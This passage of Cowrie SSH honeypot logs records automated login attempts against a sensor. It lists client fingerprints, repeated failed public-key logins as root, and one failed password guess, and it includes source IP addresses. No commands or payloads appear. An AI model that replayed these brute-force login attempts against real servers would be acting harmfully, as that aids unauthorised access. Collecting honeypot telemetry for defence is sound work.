v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:07.786791Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:10:bf:b6:cc:4e:f2:67:dc:b0:bd:75:61:ca:29:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvDCiww3dmcx7KNDIv0AI9hugf0E3juZJdPN7/bcCAqNTUGRTu+2l2p59K853bdqhjPYeoMbt4xBu2FQHfm/aQzwZOT8Tnk+e4hoMYzPs41UDZla8yWLIIRkG4/CXFuWvOWQI3Cmyc6BRvWPg9tHIpAonAv/KkjEq7qcM/x48yW3ATyMUErDAuqtgkFfmPofOSWdrNBy6Quihf1yS8GIhE0Y02cGubYGnSvl53ZD5yrpop5vM+UgKBzKCW3k/jvV48YvduESs04OiRWE4V4N1BQ7KWDYxF0t4qST4+W0tgDklDXYGP9ZYo7Na+jys3azb5/IEqxBE0zCa6YP6kJl6P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:10:bf:b6:cc:4e:f2:67:dc:b0:bd:75:61:ca:29:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.012064Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:10:bf:b6:cc:4e:f2:67:dc:b0:bd:75:61:ca:29:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvDCiww3dmcx7KNDIv0AI9hugf0E3juZJdPN7/bcCAqNTUGRTu+2l2p59K853bdqhjPYeoMbt4xBu2FQHfm/aQzwZOT8Tnk+e4hoMYzPs41UDZla8yWLIIRkG4/CXFuWvOWQI3Cmyc6BRvWPg9tHIpAonAv/KkjEq7qcM/x48yW3ATyMUErDAuqtgkFfmPofOSWdrNBy6Quihf1yS8GIhE0Y02cGubYGnSvl53ZD5yrpop5vM+UgKBzKCW3k/jvV48YvduESs04OiRWE4V4N1BQ7KWDYxF0t4qST4+W0tgDklDXYGP9ZYo7Na+jys3azb5/IEqxBE0zCa6YP6kJl6P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.016428Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:cb:1a:9d:db:5d:9e:d6:42:07:6d:0d:2c:d0:22:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfekwPRjgd2BQJGYArsV8c0JKgCUuITtG8zCr3VsbahhXGJt7vcpirPxBKVtouAIBJLfyvO5jBzA4noKrQOjjTGin8o5xcgvGuaZqrDixEtuyGDRWygh4nDh4Z1r5d4fnDmqt0dTs0hl3jIUTJp6yqU4YhxhN/QUCTwRQgDYtL0ppNZnhy3ZPgwrMi+gFxC+dZNDnTZ3gzb+T7Afw8r+gyVRWvtH8f+eN3wBkZu9V1w1YZPNy47Da6TECr3/YeFHt7iUUtmY4nzVJoR/xNjVyqPy1Y0jsaCO3surrDs6D3fC73XayEF0BmtaeT5bZZXEjaBN6VIyZx9LZM/BYlEWa1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:cb:1a:9d:db:5d:9e:d6:42:07:6d:0d:2c:d0:22:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.266773Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:cb:1a:9d:db:5d:9e:d6:42:07:6d:0d:2c:d0:22:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfekwPRjgd2BQJGYArsV8c0JKgCUuITtG8zCr3VsbahhXGJt7vcpirPxBKVtouAIBJLfyvO5jBzA4noKrQOjjTGin8o5xcgvGuaZqrDixEtuyGDRWygh4nDh4Z1r5d4fnDmqt0dTs0hl3jIUTJp6yqU4YhxhN/QUCTwRQgDYtL0ppNZnhy3ZPgwrMi+gFxC+dZNDnTZ3gzb+T7Afw8r+gyVRWvtH8f+eN3wBkZu9V1w1YZPNy47Da6TECr3/YeFHt7iUUtmY4nzVJoR/xNjVyqPy1Y0jsaCO3surrDs6D3fC73XayEF0BmtaeT5bZZXEjaBN6VIyZx9LZM/BYlEWa1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.270706Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:4c:76:dd:28:27:f2:d3:ba:72:b6:2a:dd:46:53:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9MYViggay3BMn5G8qYUnJyx/bCRofIXZsZqAcpjxU1NodogMXeWzy1U5Np7lS38+yX+WN9y7qacMxcURIvglNLOHrd4Inq0ur5w85+lyG2MfFki/XZU1Oa3nJeTTT0SkV13qV7ftp5OBRDQF6Wi0ay8qKYzBO1K032RHDcDEpgSxIimnaP3QZlihMTOxoOwAdexas4/r6urb1NrqSTjC+dJPpbEJn61y0PUI6VgkrLO1VwOmRDsKeYj2tquAxqPpHaksdo0sKjYv+B2BSKuFw6Iyo3zS830t9WXAOasni470/civz/CH9ECJGhzZpPLr+PjHhnLsZXV2pu2gYV19e+3PZkjeKP6k7svfZNgDOewXbmkoCyJpZZv7LfZcWPJ10HeZzpRSCdDYi3yYhZv0cnYxDnK3WKb5KEE4V120R7eqXr4n8+oVepH+M4tqNLgq/St2LOxo5dzNH4bUM8SSLjfasuQUdSP+boXsaOpgSOiGwE3/PpjHQ7D23LKNG9D7HzjuIKZ5AU9MCJQl2k8k+PczZ4cuH2ZnCyo1xkTxen38KtTSodKmapWeEPWWmBeJkBoMigTsS4zj5C9mARwUVwWHl3vR8bITs6NvYIgTU7YOV/1DWEP2rRziz9Dac8z+5u/LUpD1wW/LjW1K+oz4G3qk/OGuzNmFzZSBxfP7h4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:4c:76:dd:28:27:f2:d3:ba:72:b6:2a:dd:46:53:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.521744Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:4c:76:dd:28:27:f2:d3:ba:72:b6:2a:dd:46:53:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9MYViggay3BMn5G8qYUnJyx/bCRofIXZsZqAcpjxU1NodogMXeWzy1U5Np7lS38+yX+WN9y7qacMxcURIvglNLOHrd4Inq0ur5w85+lyG2MfFki/XZU1Oa3nJeTTT0SkV13qV7ftp5OBRDQF6Wi0ay8qKYzBO1K032RHDcDEpgSxIimnaP3QZlihMTOxoOwAdexas4/r6urb1NrqSTjC+dJPpbEJn61y0PUI6VgkrLO1VwOmRDsKeYj2tquAxqPpHaksdo0sKjYv+B2BSKuFw6Iyo3zS830t9WXAOasni470/civz/CH9ECJGhzZpPLr+PjHhnLsZXV2pu2gYV19e+3PZkjeKP6k7svfZNgDOewXbmkoCyJpZZv7LfZcWPJ10HeZzpRSCdDYi3yYhZv0cnYxDnK3WKb5KEE4V120R7eqXr4n8+oVepH+M4tqNLgq/St2LOxo5dzNH4bUM8SSLjfasuQUdSP+boXsaOpgSOiGwE3/PpjHQ7D23LKNG9D7HzjuIKZ5AU9MCJQl2k8k+PczZ4cuH2ZnCyo1xkTxen38KtTSodKmapWeEPWWmBeJkBoMigTsS4zj5C9mARwUVwWHl3vR8bITs6NvYIgTU7YOV/1DWEP2rRziz9Dac8z+5u/LUpD1wW/LjW1K+oz4G3qk/OGuzNmFzZSBxfP7h4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.526048Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:31:a5:a8:a9:a8:29:b9:f9:ba:a5:22:23:50:6f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6E9D9rT35L0I+6fJkbrEHEIL/pCLVchNXV2NqnndKpvhhpCXQUww/l3kyh6mWlogp5aQPantsKPngwycNva6kFrO9yOvD8zKC4gxFTaBWelM6GP84wgcDkHogzVBfqAa1sNUcTfMjfzVVpDpBe3yI+adOrV4pETQoJ7X+DNc7pBwv8OfleKTrGzrTmmEvOG1B6s6BZXkFrVvr81zFwh57SzkC9Orkk8Qe4iuOEHz2uawF8wTtje6hvqYKkki6p1Tf4XRTQgjeAYAglaAO09WVLF2tklTxrrw/e8iINZg0j9UxLgPb55Df2s/77EC1sdzFx8Or4HYF6ZrakClL8Ekb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:31:a5:a8:a9:a8:29:b9:f9:ba:a5:22:23:50:6f:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.777447Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:31:a5:a8:a9:a8:29:b9:f9:ba:a5:22:23:50:6f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6E9D9rT35L0I+6fJkbrEHEIL/pCLVchNXV2NqnndKpvhhpCXQUww/l3kyh6mWlogp5aQPantsKPngwycNva6kFrO9yOvD8zKC4gxFTaBWelM6GP84wgcDkHogzVBfqAa1sNUcTfMjfzVVpDpBe3yI+adOrV4pETQoJ7X+DNc7pBwv8OfleKTrGzrTmmEvOG1B6s6BZXkFrVvr81zFwh57SzkC9Orkk8Qe4iuOEHz2uawF8wTtje6hvqYKkki6p1Tf4XRTQgjeAYAglaAO09WVLF2tklTxrrw/e8iINZg0j9UxLgPb55Df2s/77EC1sdzFx8Or4HYF6ZrakClL8Ekb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:09.782160Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:7b:e8:cb:7b:0d:de:52:54:d9:7f:36:87:4e:51:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK+RpHv1hFq7i+qPyjVADS5xB/muyxLHxS4+M/+knVU6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9b:7b:e8:cb:7b:0d:de:52:54:d9:7f:36:87:4e:51:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:10.035839Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:7b:e8:cb:7b:0d:de:52:54:d9:7f:36:87:4e:51:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK+RpHv1hFq7i+qPyjVADS5xB/muyxLHxS4+M/+knVU6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:10.040630Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:10.291968Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"506dbf2a5d5c","protocol":"ssh","message":"New connection: 43.162.109.147:58230 (10.17.0.5:22) [session: 506dbf2a5d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:55.927427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:55.932086Z","src_ip":"43.162.109.147","session":"506dbf2a5d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:55.999817Z","src_ip":"43.162.109.147","session":"506dbf2a5d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:56.301375Z","src_ip":"43.162.109.147","session":"506dbf2a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:57.372755Z","src_ip":"43.162.109.147","session":"506dbf2a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.24.130","src_port":43898,"dst_ip":"10.17.0.5","dst_port":22,"session":"c925c4d95c8c","protocol":"ssh","message":"New connection: 160.238.24.130:43898 (10.17.0.5:22) [session: c925c4d95c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:58.346164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:58.350645Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:58.488770Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:4a:ea:55:22:22:ed:32:ae:79:da:12:e1:c8:84:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkrYvUetf6i4MiwbYi94rPXBHQIKJC6IERMNWR4G6CVvDTbOaYxHb1VYANpqjTs844p46kBwWIT4XVDOOQbELqeCWFus5NYZW17QZ2LsoOZ6JtHifBD3cGVyOZIy97uJMCoaC4fJuCvb0ohVMOM5HRwv28Z/TotE21kUGUY/3x6u2sfD3IueLy9OJ+XLNkii7HFf9GPyu7V5Q6epExV9ADLy8uGZygSrX+w9RZ9Ri8KClswY1KEzflY0VoB3Io1zQFYkoZxn9m93bjSG21o8W47vJjQsLLnHbyOeCdcrjaH2mhfe0SZLP8EgpUqV0Mw9n/ArIzXhjEMIZ4b+2vBCHO6c5YuFH+AiQeqqN9CXVRQLKxQmWLk93YrA+SN1zpbn/Zi8PmEBpw/tGEKP3gByvTnEiSsrYer2uCWmIWS3FhjlTzJNTdDwTYLsgVwMN07RNbr3pwJdNT7/vsLkLppXSyobz8zJQdJ4uXHPfsNDyovpVy84I3MQOY2uxsJfdAhsuwhGdnQHZqUOcRiHXbXJiXhJdF5YHBFxypHk2Cctv101Z3y7FYeKxZXapvSRf+8Mrh9a6e7kA5LUQpM4VL7jbCTo3oWfEs0Vn8yRzUKKGuFOEjBPCuPVdAlsPtwhCflyKwc90cs/6/NsiJ5dlnDanWP5QOb3NH+1vSqxNNT/cmqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:4a:ea:55:22:22:ed:32:ae:79:da:12:e1:c8:84:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.136137Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:4a:ea:55:22:22:ed:32:ae:79:da:12:e1:c8:84:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkrYvUetf6i4MiwbYi94rPXBHQIKJC6IERMNWR4G6CVvDTbOaYxHb1VYANpqjTs844p46kBwWIT4XVDOOQbELqeCWFus5NYZW17QZ2LsoOZ6JtHifBD3cGVyOZIy97uJMCoaC4fJuCvb0ohVMOM5HRwv28Z/TotE21kUGUY/3x6u2sfD3IueLy9OJ+XLNkii7HFf9GPyu7V5Q6epExV9ADLy8uGZygSrX+w9RZ9Ri8KClswY1KEzflY0VoB3Io1zQFYkoZxn9m93bjSG21o8W47vJjQsLLnHbyOeCdcrjaH2mhfe0SZLP8EgpUqV0Mw9n/ArIzXhjEMIZ4b+2vBCHO6c5YuFH+AiQeqqN9CXVRQLKxQmWLk93YrA+SN1zpbn/Zi8PmEBpw/tGEKP3gByvTnEiSsrYer2uCWmIWS3FhjlTzJNTdDwTYLsgVwMN07RNbr3pwJdNT7/vsLkLppXSyobz8zJQdJ4uXHPfsNDyovpVy84I3MQOY2uxsJfdAhsuwhGdnQHZqUOcRiHXbXJiXhJdF5YHBFxypHk2Cctv101Z3y7FYeKxZXapvSRf+8Mrh9a6e7kA5LUQpM4VL7jbCTo3oWfEs0Vn8yRzUKKGuFOEjBPCuPVdAlsPtwhCflyKwc90cs/6/NsiJ5dlnDanWP5QOb3NH+1vSqxNNT/cmqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.141170Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:38:fc:a7:ba:bd:39:ff:b3:71:ba:00:5a:3a:f3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkzpPz5gqFuffy0crc60DP8S3y0qV1rdbh7arHI7IQ4m6cgmO3Xoj9fwySX6Tw4saDpdCzAVFMggM3WpUYZUoD+sMHyMPHqDOY4RsvlxviKPXFvqpQAYuTdZ/17/eUtS1FSDdbt21gurunmY16mYByFCRjAo1Bb8Z1ylnzoZSMXsELs54epFceET0rJGzjlqx3QF9nf6OLDgp4oj5mRzZHvno2+LLkAWKjWb4WPOG5sME9TcXYRXymnbb8OeHx2/8+loStRmaEe5+UOVH6yPytLFzoTamViMd03mmIjCyRaQKv30JxrgXaSxIWOZYHHnMsGeeiyKY2MoS1hOxIi5MV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:38:fc:a7:ba:bd:39:ff:b3:71:ba:00:5a:3a:f3:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.277041Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:38:fc:a7:ba:bd:39:ff:b3:71:ba:00:5a:3a:f3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkzpPz5gqFuffy0crc60DP8S3y0qV1rdbh7arHI7IQ4m6cgmO3Xoj9fwySX6Tw4saDpdCzAVFMggM3WpUYZUoD+sMHyMPHqDOY4RsvlxviKPXFvqpQAYuTdZ/17/eUtS1FSDdbt21gurunmY16mYByFCRjAo1Bb8Z1ylnzoZSMXsELs54epFceET0rJGzjlqx3QF9nf6OLDgp4oj5mRzZHvno2+LLkAWKjWb4WPOG5sME9TcXYRXymnbb8OeHx2/8+loStRmaEe5+UOVH6yPytLFzoTamViMd03mmIjCyRaQKv30JxrgXaSxIWOZYHHnMsGeeiyKY2MoS1hOxIi5MV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.281797Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:41:54:0a:18:29:40:fd:ad:0e:08:05:39:6e:40:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH7pvO3XOtoah9d887nfSz4Yu/tscps0EtONP8rnVz769SnIBsuP6Z0qBoStfyPQ//SN3syr+pai3sgVraFrtChbOwdU8MTt3hbzprwmcHa7EAG6u6glmqXzDac+Pgj9ukRomyPS81Ad4Cu7zP9aql3P+iUJNqtQdRDXP/F+Wh3qGqX6A1+kLAxrnbwQXZCHqiJK+GRtV7qZGgnVqQX4jU5RAJ2lMSsg7Ik/K5c6oZ0I/P/7H4fvuR4tsYOrGczPwXWt7vE9tEOG8dIqF6g0eTAsWL7QVI/R58ReTWslkUAyNaj/1Pm/k18SG5rOWEa0Fn/S+Aeuhl41e0hAaSCDAf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:41:54:0a:18:29:40:fd:ad:0e:08:05:39:6e:40:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.417079Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:41:54:0a:18:29:40:fd:ad:0e:08:05:39:6e:40:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH7pvO3XOtoah9d887nfSz4Yu/tscps0EtONP8rnVz769SnIBsuP6Z0qBoStfyPQ//SN3syr+pai3sgVraFrtChbOwdU8MTt3hbzprwmcHa7EAG6u6glmqXzDac+Pgj9ukRomyPS81Ad4Cu7zP9aql3P+iUJNqtQdRDXP/F+Wh3qGqX6A1+kLAxrnbwQXZCHqiJK+GRtV7qZGgnVqQX4jU5RAJ2lMSsg7Ik/K5c6oZ0I/P/7H4fvuR4tsYOrGczPwXWt7vE9tEOG8dIqF6g0eTAsWL7QVI/R58ReTWslkUAyNaj/1Pm/k18SG5rOWEa0Fn/S+Aeuhl41e0hAaSCDAf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:59.421831Z","src_ip":"160.238.24.130","session":"c925c4d95c8c","protocol":"ssh"}
